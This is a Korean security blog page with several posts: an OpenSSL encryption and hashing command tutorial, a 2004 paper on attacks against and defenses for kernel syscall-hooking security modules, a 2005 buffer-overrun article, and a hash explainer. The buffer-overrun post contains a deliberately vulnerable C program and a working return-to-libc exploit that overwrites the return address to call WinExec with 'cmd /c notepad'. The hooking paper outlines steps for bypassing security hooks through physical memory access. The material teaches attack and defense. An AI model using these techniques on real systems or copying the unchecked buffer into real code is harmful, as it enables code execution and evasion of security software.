반응형

리눅스에서 간단히 OpenSSL로 암복호화 테스트하기


+인코딩

-base64 인코딩하기.

echo "this is a test" | openssl enc -base64

-base64 디코딩하기

echo "dGhpcyBpcyBhIHRlc3QK" | openssl enc -d -base64
this is a test

echo "dGhpcyBpcyBhIHRlc3QK" | openssl enc -base64 -d

this is a test



+ AES 256 암복호화

echo "this is a test" | openssl enc -aes-256-cbc -a

암호키 입력

출력은 base64 인코딩형태 (커맨드 마지막에 -a를 빼면 바이너리로 출력하므로 파일 리다이렉션> 으로 파일로 저장할 수도 있다.)


echo "base64 암호화값" | openssl enc -aes-256-cbc -d -a

암호키 입력


+기타 옵션

-in ; 입력 파일

-out ; 출력 파일

-a ; base64 인코딩하여 출력

-k ; 패스워드 (암복호화시 생략하면 프롬프트상에서 물어본다.)



+파일 암복호화 

$ openssl enc -aes-256-cbc -salt -a -in file.txt -k school -out file.txt.enc

$ cat file.txt.enc

U2FsdGVkX19VTO6a11weGV665ZPM3sGKpZadud21IEw=


$ openssl enc -aes-256-cbc -d -a -in file.txt.enc -out file.dec

enter aes-256-cbc decryption password:

$ cat file.dec

hello

(-a를 빼면 바이너리로 데이터 생성, -k 로 패스워드 지정가능.)




+ 해시 테스트

MD5 해시값을 생성한다. 파라미터로 파일명을 주면 파일을 읽어 해시값을 생성하고, echo로 출력한 것을 pipe로 받아 해시값을 생성할 수 도 있다. 

$ openssl md5 filename

$ echo "hello" | openssl md5

주의! echo로 출력시에는 마지막에 \n이 자동으로 들어간다.

이를 막으려면 -n 옵션을 echo에 추가해 주어야 한다.


$ openssl sha1 filename

$ openssl sha256 filename








'Security' 카테고리의 다른 글

DLKM 방식의 후킹 모듈 보호 메커니즘  (1) 2015.06.07
버퍼오버런(Buffer-Overrun)의 실체와 분석  (0) 2015.06.06
해시(Hash)  (0) 2015.06.02
반응형

제가 2004년에 썼던 글입니다.


DLKM 방식의 후킹 모듈 보호 메커니즘

요 약

운영체제의 시스템 서비스 테이블 또는 인터럽트 및 시스템 콜을 후킹하여 제어하는 보안 모듈이나 기타 커널 서비스들의 취약성이 많이 나타나고 있는 가운데 이를 방어하기 위한 기술들이 필요하게 되었다. 특히나 보안 후킹 모듈의 경우는 후킹 모듈의 취약성이 바로 보안 취약성으로 나타날 수 있기 때문에 더욱더 중요한 이슈가 되고 있다. 이에 본 논문에서는 DLKM 방식의 후킹 모듈을 보호하는 기술에 대하여 연구하기로 한다.


I. 서론

 

최근의 IT 정보보호기술 중 보안 침해 사고의 최종 목적인 시스템의 데이터에 대한 보호 기술인 Secure OS가 핵심 기술로써 많은 연구가 진행 중으로 있다.

이 Secure OS는 시스템에 가해지는 오퍼레이션이 작동하기 전에 접근 제어를 할 수 있는 시스템으로, 상황에 따라서 해당 오퍼레이션을 허용 또는 차단할 수 있는 기능을 가지고 있다. 즉 시스템 접근이 발생하는 게이트 부분을 후킹이나 다른 방법을 통하여 사전에 접근 판단 작업을 처리하는 것으로 시작되는 것이다.

오퍼레이션이 발생하기 전에 이를 제어하기 위한 방법으로는 커널 모듈로써 동적으로 작동할 수 있고, 시스템 콜 진입 부분을 후킹하는 DLKM(dynamic loadable kernel module) 방식이 있고, 직접 커널 코드를 수정하여 제어를 하는 Kernel-Modify 방식이 있다.

LKM (Loadble Kernel Module)의 정의는 실행중인 커널에 동적으로 로딩 또는 언로딩이 가능한 커널 프로그램으로 보통은 디바이스 드라이버를 로딩하는데 사용되며, 새로운 디바이스를 시스템에 장착시 커널을 새로 컴파일하고 재부팅해야 하는 불편함을 없애기 위한 목적으로 사용된다.

커널 후킹 방식 중 Kernel-Modify 방식은 커널 소스를 직접 수정하고 컴파일해야 하므로 OS에 의존적인 부분이 상당히 있으며, 시스템의 패치나 기타 환경 변화에 영향을 받는다는 단점이 있다. 반면 DLKM 방식은 기존 커널의 변경 없이 동적으로 작동할 수 있는 장점은 있지만, 후킹 포인트를 해킹당할 위험성을 내포하고 있다.

이에 본 논문에서는 DLKM 방식의 후킹 모듈의 단점인 후킹 우회 공격에 대비하기 위한 보호 메커니즘에 대하여 Windows 운영체제를 예시로 들어 상세히 설명하기로 한다.

본 논문은 2장에서 시스템 콜이 처리되는 과정과 DLKM 방식의 후킹이 어떤 식으로 구성되는지를 기술하고, 3장에서는 후킹 모듈의 우회 공격 방법에 대해 알아본다. 4장에서 이러한 공격들을 막는 방어 메커니즘을 알아보고, 마지막으로 5장에서 본 논문의 결론에 대하여 기술한다.

II. 시스템 콜 처리 과정 및 후킹

DLKM 방식의 후킹 모듈을 공격하기 위해서는 먼저 API (Application Program Interface)가 어떻게 처리되는지 살펴보기로 하고, 어떻게 후킹을 하는지에 대한 원리를 이해해야 하므로 그 과정을 살펴보기로 한다.

 

1. 시스템 콜 처리 과정

어플리케이션에서 하나의 시스템 콜이 발생하면 다음과 같은 과정이 수행된다.

•사용자 메모리에 적재된 ntdll.dll 모듈에서 user mode의 native api (Zw*) 주소를 찾는다.

ntdll ! Zw* 계열의 user mode native api가 실행된다.

Zw* api에서는 해당 시스템 콜의 서비스 인덱스 번호를 레지스터에 설정하고, 인터럽트 0x2E 를 발생시킴으로써 커널 모드로 진입한다.


 

0: kd> u ntdll!ZwCreateFile

ntdll!NtCreateFile:

77f8f9ba b820000000 mov eax,0x20

77f8f9bf 8d542404 lea edx,[esp+0x4]

77f8f9c3 cd2e int 2e

77f8f9c5 c22c00 ret 0x2c


•IDT (interrupt descriptor table)에서 인터럽트 번호 0x2E의 핸들러인 KiSystemService 모듈이 수행된다.


 

0: kd> r idtr

idtr=80036400

 

typedef struct _IDTGATE {

unsigned short off1;

unsigned short sel;

unsigned char none, flags;

unsigned short off2;

} IDTGATE, *PIDTGATE;

 

IDTGATE 레코드 하나의 노드 사이즈는 8 바이트로 구성된다. 따라서 0x2e 인덱스의 옵셋은 0x2e * 8 = 0x170

그러므로, 인터럽트 0x2e의 IDTGATE 주소는 0x80036570이 된다.

 

0: kd> db 80036570

80036570 c0 62 08 00 00 ee 46 80-9c 99

이 데이터를 IDTGATE 구조체에 맞추면, off1=62c0, off2=8046 이 되고, 실제 주소를 계산하면 (off2 || off1) = 0x804662c0

0: kd> ln 804662c0

(804662c0) nt!KiSystemService | (8046639b) nt!KiServiceExit

Exact matches:

0: kd> u kisystemservice

nt!KiSystemService:

804662c0 6a00 push 0x0

804662c2 55 push ebp

...

즉, KiSystemService의 주소와 일치함을 알 수 있다.


KiSystemService에서는 SDT (Service Descriptor Table)에서 SST (System Service Table)의 주소를 참조하고, 해당 서비스 번호를 인덱스로 하여 실제 kernel native api 주소를 찾는다.


 

0: kd> dd KeServiceDescriptorTable

80483560 80474f00 00000000 000000f8 804752e4

80483570 00000000 00000000 00000000 00000000

80483580 bd126840 00000000 00000007 bd126860

80483590 00000000 00000000 00000000 00000000

0: kd> ln 80474f00

(80474f00) nt!KiServiceTable | (804752e0) nt!KiServiceLimit

Exact matches:

SDT에서 SST주소를 찾았다.

ZwCreateFile의 서비스 번호 0x20의 주소를 계산해 내면, 옵셋이 0x20*4 = 0x80이 되고 주소는 0x80474f80이 된다.

0: kd> dd 80474f80

80474f80 804a91a0 804a8bb8 804e67a0

0: kd> ln 804a91a0

(804a91a0) nt!NtCreateFile | (804a91d2) nt!NtCreateNamedPipeFile

Exact matches:

nt!NtCreateFile = <no type information>

0: kd> u nt!ntcreatefile

nt!NtCreateFile:

804a91a0 55 push ebp

804a91a1 8bec mov ebp,esp

804a91a3 33c0 xor eax,eax

804a91a5 50 push eax

804a91a6 50 push eax

NtCreateFile의 주소와 일치하였다.

•ntoskrnl 내부의 native api가 수행된다.


그림 1은 Windows 2000에서 시스템 콜 처리 과정을 도식화 한 것으로 OpenFile이라는 API가 발생되었을 경우 내부적으로 ZwCreateFile system call이 수행되는 예를 든 것이다.

1. 시스템 콜 후킹 메커니즘

DLKM 방식의 일반적인 시스템 콜 후킹 메커니즘은 SST라는 System Service Table을 변경하여 시스템 콜의 주소를 바꿔주는 방법을 많이 이용한다. Windows 시스템의 SST가 바로 UNIX나 LINUX 시스템의 시스템 콜 엔트리 테이블에 해당된다.


그림 2는 DLKM 방식의 시스템 콜 후킹 메커니즘을 도식화한 것이다. 그림에서 DLKM 후킹 모듈은 hooker 모듈이 해당되며, hooker 모듈 로딩시, SST의 시스템 콜 주소 레코드를 변경하면 가능하다. 여기서는 NtCreateFile 시스템콜이 발생하는 경우 hooker 모듈의 New_NtCreateFile 이 작동되게 된다.

I. LDKM 후킹 모듈 우회 공격 기술

앞에서 설명한 LDKM 방식의 정상적인 후킹 모듈에는 큰 취약성이 있다. 후킹을 우회하는 공격포인트가 여러군데 보이기 때문이다. 시스템 콜의 처리 과정에서 참조되는 메모리는 모두 공격 포인트가 될 수 있기 때문이다. 즉, IDT, SDT, SST 메모리를 누군가 접근하여 변경시키게 되면 시스템 콜의 우회를 가능하게 할 수 있다.

1. IDT (Interrupt Descriptor Table) 공격

인터럽트가 처리되는 핸들러가 등록된 IDT (Interrupt descriptr toable)에 시스템 콜 인터럽트인 0x2E 인터럽트 핸들러나, 0x01인 디버그 핸들러 등 여러 가지 인터럽트에 대한 주소를 변경함으로써 시스템 콜 처리 과정을 변경시킬 수 있다.


그림 3은 IDT에서 시스템 콜 인터럽트 핸들러를 가상으로 변경해 본 그림이다. KiSystemService 모듈에서 처리하는 과정이 핸들러 주소의 변경에 따라 정상적인 시스템 콜 처리를 충분히 방해할 수도 있으며, 복잡하지만 원래의 시스템 콜 주소를 이용하여 후킹을 무력화 시킬 수 있는 공격이 이론상 충분히 가능하다.

1. SDT (Service Descriptor Table) 공격

KiSystemService에서 SDT를 참조하여 SST 주소를 구하는데, 이 과정에서 SDT를 변경하여 SST를 바꿔칠 수 있다.

 

그림 4는 DLKM 후킹 모듈이 기존의 SST를 변경시켜 후킹을 했다 하더라도, SDT에 등록된 SST의 주소를 미리 백업 받아둔 backuped SST의 테이블의 주소로 변경함으로써 후킹을 무력화 시킬 수 있음을 보여준다.

 

1. SST (System Service Table) 접근 공격

Windows 시스템에서의 SST는 Unix나 Linux시스템에서의 시스템 콜 엔트리 테이블과 마찬가지로 실제 native api의 주소가 기록되어 있다. LDKM 후킹 모듈은 일반적으로 이 테이블을 변경하여 작동하게 된다. 여기서는 정상적인 DLKM 후킹 모듈이 SST를 후킹하였음에도 이 후에 다른 커널 모듈에 의하여 재 후킹이 된 경우를 의미한다.


그림 5는 이미 hooker에 의해 시스템 콜이 후킹된 상태에서 다른 커널 모듈에 의해 SST를 원상 복구 시킬 경우, 후킹을 우회할 수 있는 공격을 설명하고 있다.

이 경우는 여러 가지 DLKM 후킹 모듈을 한 시스템에서 작동시키는 경우 모듈 간 충돌이 발생되는 원인이기도 하다.

1. Physical Memory 접근 공격

위에서 설명한 세가지 공격 방식은 모두 커널 모듈을 작동시켜 시스템 콜 처리시 참조되는 메모리를 커널 모드에서 커널 메모리를 수정함으로써 작동한다.

Physical Memory 접근 방식은 위의 세 가지 공격을 커널 모드로 가지 않고도 수행하게끔 도와주는 메커니즘이다. 즉 실제 공격방법은 위의 세 가지 방법으로 수행하는 것이다.

일반적으로 커널 메모리의 수정은 유저 모드에서 불가능하도록 되어 있다. 그러나, 운영체제에서 제공하는 physical memory 디바이스를 통한 수정은 가능하다.


 

 

1. \device\physicalmemory 디바이스를 오픈

(NtOpenSection)

2. 물리적 메모리를 프로세스의 가상 메모리에 매핑한다.

(NtMapViewOfSection)

3. 커널 메모리를 수정한다.

 

 

1. Symbolic link & Physical Memory 접근 공격

이 공격 방법은 4와 동일하지만 약간 진화된 형태로 \device\physicalmemory 디바이스에 접근하는 오퍼레이션을 막은 경우에 가능한 방법이다.

즉, \device\physicalmemory에 심볼링 링크를 생성한 디바이스를 새로 만들어 심볼릭 링크로 디바이스에 접근하는 방식이다.


 

 

1. \device\physicalmemory 디바이스에 symbolic link로 연결할 새로운 디바이스를 만든다.

(IoCreateSymbolicLink)

2. symbolic link로 생성된 디바이스를 오픈

(NtOpenSection)

3. 물리적 메모리를 프로세스의 가상 메모리에 매핑한다.

(NtMapViewOfSection)

4. 커널 메모리를 수정한다.

 


 

I. DLKM 후킹 모듈 우회 공격에 방어 메커니즘

앞에서 설명한 5가지 형태의 DLKM 후킹 모듈 공격 방법은 실제 구현 가능하며, 이미 나와 있는 공격 툴들도 존재한다.

본 장에서는 어떻게 DLKM 후킹 모듈에 대한 공격을 대비해야 하는지에 대한 보호 메커니즘을 설명하였다.

1. 커널 모듈 로딩 제어

인가된 커널 모듈만 로딩 할 수 있도록 제어한다.

위에서 설명한 IDT, SDT, SST 공격 방법은 커널 모드인 Ring 0 모드에서 수행되므로, Ring 0에 진입하기 전인 커널 모듈 로딩 시에 허용된 커널 모듈만 드라이버 로딩을 허용하고, 그 외에는 드라이버 로딩을 불가능하게 접근 제어를 한다.

이렇게 함으로써 불법적인 드라이버들이 커널 모듈로 작동할 수 없게 되어 Ring 0 모드로의 진입을 차단할 수 있어, 커널 모드에서의 위의 세가지 공격을 방어할 수 있다.

2. Physical Memory 디바이스 접근 제어

직접적으로 Ring 0에 진입하지 않고도 공격하는 형태인 4, 5방법의 경우는 인가된 프로세스만 physical memory 디바이스에 접근할 수 있도록 제어한다.

\device\physicalmemory 디바이스에 접근하는 오퍼레이션을 허용된 프로세스만 접근을 허용하고 그 외의 프로세스는 접근을 거부하여 공격 위협을 차단할 수 있다.

그러나, 공격 방식 5번의 경우처럼 디바이스명을 심볼릭 링크로 접근할 수 있으므로 링크인 경우 대상 디바이스명을 추적하여 physicalmemory 디바이스에 접근하는지도 검사하여 같은 과정을 수행함으로써 제어한다.

3. 주기적인 커널 메모리 무결성 복구

인가된 프로세스 나 커널 모듈에서의 공격에 대한 방어나 기타 예기치 못한 공격이 발생할 수 있으므로, 이에 대비하기 위해 커널 쓰레드를 이용하여 주기적인 IDT, SDT, SST의 무결성 검사를 수행한다.

최초 DLKM 후킹 모듈이 작동한 이후의 IDT, SDT, SST의 메모리를 미리 백업해 두고, 주기적으로 각 메모리 영역의 무결성이 훼손되었는지 점검하고, 무결성이 깨진 경우 백업 받은 메모리를 덮어쓰는 것으로 원상 복구시킨다.

물론, 실시간 방어 기술이 아닌 주기적인 검사이기 때문에 완벽한 대응 방법은 아니다. 그러나 예기치 못한 상황에서 후킹이 우회 되는 경우, 후킹 기능을 복원할 수 있기 때문에 어느 정도 효과를 기대할 수 있을 것이다.

II. 결 론

이제까지 DLKM 후킹 모듈의 구조 및 후킹 모듈의 공격 형태와 이를 보호하기 위한 메커니즘을 살펴보았다.

DLKM 후킹 모듈을 접근 제어 목적으로 사용하는 보안 소프트웨어는 앞에서 제시한 DLKM 후킹 공격을 통해 접근 제어가 우회되는 취약성에 대비해야 그 목적을 정상적으로 수행할 수 있다.

따라서 본 페이퍼에서 제시한 커널 모듈 로딩 접근 제어, 메모리 디바이스 접근 제어, 커널 메모리 무결성 검사 이 3가지 보호 메커니즘을 활용한다면 보다 안전한 DLKM 후킹 모듈로써 기능을 다 할 것이라 기대한다.


참 고 문 헌

[1]Secure OS기반의 지능형 다단계 정보보호시스템, 정보처리 학회, 2003

[2]전산망정보보호 - 접근통제기술, 한국정보보호센터, 1996.12.

[3]Advanced Windows 2000 Rootkits Detection Jan K.Rutkowski, 2003 July

[4]Detecting Windows Server Compromises with Patchfinder 2, Joanna Rutkowska

[5]Avoiding Windows Rootkit Detection, Edgar Barbosa, 2004 Feb

[6]Undocumented Windows 2000 Secrets, SVEN B. SCHREIBER

[7] 커널 루트킷(Root) 탐지 방법 , 아주대 정보통신 대학원, 2001.10



 







'Security' 카테고리의 다른 글

openssl 커맨드 / 암호화  (0) 2018.03.02
버퍼오버런(Buffer-Overrun)의 실체와 분석  (0) 2015.06.06
해시(Hash)  (0) 2015.06.02
반응형


2005년에 제가 작성했던 글입니다. 


요 약

대부분의 운영체제 및 어플리케이션의 해킹 방법 중 하나인 버퍼 오버플로우와 변종 형태인 버퍼 오버런에 대하여 원인을 분석하고 이해할 수 있도록 설명한다.

18, Aug, 2005

Written by 크레이지제이

 I. 서론

버퍼오버플로우 기법은 1988는 Robert Morris fingerd attack으로 알려지기 시작해 악의적인 목적을 가진 침입 방법으로 가장 많이 사용되고 있다.

Overflow는 Stack Overflow, Frame pointer overflow, Format string overflow, Heap overflow 등으로 구분되어진다.

그러나, 여기서 설명하고자 하는 Buffer overrun은 Buffer overflow와는 약간 차이점이 있다.

과거 인터넷 대란을 일으켰던 SQL slammer 웜의 경우가 바로 버퍼오버런 공격 형태에 해당된다.

 

II. 버퍼오버플로우 vs. 버퍼오버런

 

Buffer overflow는 특정 영역(스택, 힙, 데이터 영역 등)을 오버플로우 시켜서 프로그램의 정상적인 의도를 벗어나 예외 상황을 만듦으로 인해서 주소 변경이나 데이터 변경을 통해 쉘코드의 수행이나 특정 오동작을 일으키는 방법으로 공격이 수행되는 코드는 스택이나 힙, 데이터 영역드에 추가되어 수행되지만, Buffer overrun은 버퍼를 오버플로우 시키는 과정은 동일하지만, 공격 수행 코드가 코드 영역에 정상적으로 존재한다는 점에서 일반적인 버퍼 오버플로우 방지 기능으로 탐지 및 방어가 되지 않는다는 점을 들 수 있다.

일반적으로 버퍼오버플로우의 탐지 및 방어 메커니즘은 IP(instruction pointer)가 스택이나 힙등의 영역을 가리키는 경우 비정상적인 코드 수행으로 판단하여 이를 방지하는 방법이다.

그러나 버퍼오버런의 경우 리턴 주소를 변경시켜서 스택을 적절히 원하는 데이터로 조작하고 정상적인 동적 라이브러리의 API를 호출하게 함으로써 공격 코드가 코드 영역에서 발생하여 탐지가 되지 않는다.

 

III. 버퍼 오버런 공격 과정

 

1. 피공격 프로그램

 

#include <stdio.h>

 

int main(int argc, char* argv[])

{

char buffer[256]=""

FILE *fd = NULL

fd = fopen("file.txt", "rb")

if ( fd==NULL )

return printf("Couldn't open file file.txt\n")

fgets(buffer, 1000, fd)

fclose(fd)

return 0

}

 

위 프로그램은 file.txt 라는 데이터를 읽어들이는 프로그램이다. 일반적으로 stdin으로 입력받는 프로그램의 경우는 file.txt 파일의 내용을 stdin으로 보내면 동일한 효과가 나타난다.

여기서 취약한 코드가 되는 부분은 버퍼의 크기보다 읽어들인 버퍼가 더 커서 오버플로우가 발생할 가능성이 있다는 것이다.

공격을 쉽게 하기 위해서 위의 프로그램을 디버그 모드로 돌려서 buffer 주소를 알아둔다.

VC에서 디버그 모드로 buffer의 주소를 출력해본 결과 0x0012fe80 이었다.

이를 이용하여 간단한 버퍼 오버런 공격 프로그램을 작성해 보자.


 

2. 공격 프로그램

 

#include <windows.h>

#include <stdio.h>

 

char buffer[500]="cmd /c notepad &AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\

AAAAAAAAAABBBBBBCCCC"

int main(int argc, char* argv[])

{

charsraddress[8]={0,}

charpadding[8]="\x90\x90\x90\x90"

charpointer_to_command[8]="\x80\xFE\x12\x00"

FILE*fd = NULL

intfunc

fd = fopen("file.txt", "w+")

func=(int)(void*)WinExec

memcpy(sraddress, &func, 4)

memcpy(buffer+260, sraddress, 4)

memcpy(buffer+264, padding, 4)

memcpy(buffer+270, pointer_to_command, 4)

fprintf(fd, "%s", buffer)

fclose(fd)

printf("WinExec=%p\n", WinExec)

return 0

}

 

위의 공격 프로그램은 피 공격 프로그램이 읽어들일 버퍼를 파일로 생성하는 과정을 수행한다.

공격이 성공하면 피공격 프로그램 실행시 노트패드 프로그램이 실행되는 결과가 나타날 것이다.

일단 공격이 수행되는 과정을 분석해 보자.

피 공격 프로그램에서 눈여겨 보아야 할 것은 버퍼의 크기가 256바이트로써 오버플로우가 발생되면 스택의 어느 영역을 침범하는지를 알아야 한다.

 

피 공격 프로그램의 스택은 다음과 같이 구성된다.


파라미터(역순으로), 리턴 주소, 이전 모듈의 frame pointer, 마지막으로 로컬 변수가 스택에 차례로 쌓인다. Buffer가 256바이트가 넘어가면서부터는 ebp, ret 등 순서로 덮어쓰게 되는 것이다.

즉, ret 부분을 우리가 원하는 주소로 변경하게 되면 해당 주소의 코드가 수행이 될 것이다.

ret 주소는 buffer+256+4의 위치가 된다.

 

공격 프로그램에서는 위의 주소에 WinExec 함수의 주소를 입력하게 할 것이며, WinExec의 파라미터로 "cmd /c notepad" 스트링이 입력되게 할 것이다.

 

따라서 공격 프로그램에서 buffer+260 위치에 WinExec 함수의 주소를 입력하였음을 알 수 있다.

또한 그 이후, padding 4바이트와 pointer to command 4바이트(피공격 프로그램에서의 buffer 주소=0x0012fe80)를 입력하였다.

- fgets함수 호출 전 상황


- fgets 호출 이후,


위 그림에서 첫 번째 박스는 Buffer+260위치인 ret address 자리에 WinExec 함수의 주소인 0x7c86114d를 세팅하였다. (원래는 0x004015cc로 mainCTRStartup 모듈의 주소였다.)

WINBASEAPI UINT WINAPI WinExec ( LPCSTR lpCmdLine, UINT uCmdShow ) 함수의 파라미터로 uCmdShow와 lpCmdLine 주소가 세팅된 스택 상황을 연출하는 작업을 해야 한다.

main 함수는 cdecl이므로 스택정리를 main내에서 수행하지 않는다.



따라서 function epilogue 과정인 mov esp, ebp; pop ebp 과정을 수행한 다음 리턴을 하게 되는데, 리턴주소였던 영역이 pop되면서 sp가 감소하고 WinExec 주소로 이동하게 된다. WinExec에서는 function prologue 과정인 push ebp; mov ebp, esp을 수행한다. 이 상태의 스택 상황은 다음과 같다.


ebp의 값이 0x12ff84로 새로운 esp와 동일하다.(0x43434343은 saved ebp가 된다.)

ebp+4에 0x909090은 ret address가 된다.

ebp+8부터는 WinExec의 파라미터가 된다. lpCmdLine의 값이 0x0012fe80이 되며, uCmdShow의 값은 0x00430d60이 된다.

즉, WinExec의 lpCmdLine에 원하는 커맨드("cmd /c notepad & ...")를 설정하게 되었으므로, main의 리턴으로 WinExec의 모듈에 해당 버퍼가 들어감으로써 노트패드 프로그램이 수행이 된다.


 

 

V. 결론

이제까지 버퍼오버런의 공격 과정을 알아보았다. 일반 버퍼오버플로우와 다르게 커널에 상주한 동적 라이브러리인 WinExec 함수가 호출되어 코드 영역에서 수행되는 점에서 일반 다른 버퍼 오버플로우의 스택에서 수행되는 방식과는 다르게 다른 프로그램을 수행할 수 있는 가능성을 보여준 예이다.

안전한 코딩을 위해서는 항상 버퍼 사이즈 체크를 하며, 기타 컴파일러 옵션에 따른 스택 보호 기술등을 이용해야 할 것이다.

 






'Security' 카테고리의 다른 글

openssl 커맨드 / 암호화  (0) 2018.03.02
DLKM 방식의 후킹 모듈 보호 메커니즘  (1) 2015.06.07
해시(Hash)  (0) 2015.06.02
반응형


+해시(Hash) 란?

임의 길이의 데이터를 고정된 길이의 데이터로 변환하는 알고리즘으로 같은 입력데이터는 항상 같은 Hash 값이 생성되며, 입력 데이터의 일부가 조금이라도 변경되는 출력되는 Hash값이 변경되는 특성을 갖는 알고리즘이다.

Hash의 특정으로는 출력된 Hash값으로부터 역으로 원본 입력 데이터의 추출이 불가능하다. 

따라서 패스워드 같은 데이터를 DB에 저장할 때 많이 사용되며, 파일이나 데이터의 무결성 검증을 위해 많이 사용된다. 

-PWD 입력 => Hash(PWD) => DB에 저장된 해시값 비교

-Hash( file data ) => 해당 파일의 무결성값 


+Hash 알고리즘은 종류

MD5 ; 128비트 (16바이트) 생성

SHA1 ; 160비트 (20바이트) 생성

SHA는 생성되는 비트수에 따라 SHA-128, SHA-256, SHA-512 등이 있다.


+ 기타

MD5는 깨진 알고리즘으로 요즘에는 보안상 거의 쓰이지 않는다. 

깨졌다는 것은 출력된 Hash값으로 부터 원본입력 데이터를 복원했다는 것은 아니지만, 출력된 Hash값을 만드는 입력 데이터군을 찾을 수 있다는 의미이다.

즉, 패스워드를 MD5로 저장하여 사용하는 시스템에서 해시값이 유출되었을때,  MD5 값이 같게되는 다른 입력값을 찾을 수 있어서 패스워드 대신 입력해도 MD5 해시값은 일치하기 때문에 패스워드 인증이 통과되는 결과가 나올 수 있다.




+ Recent posts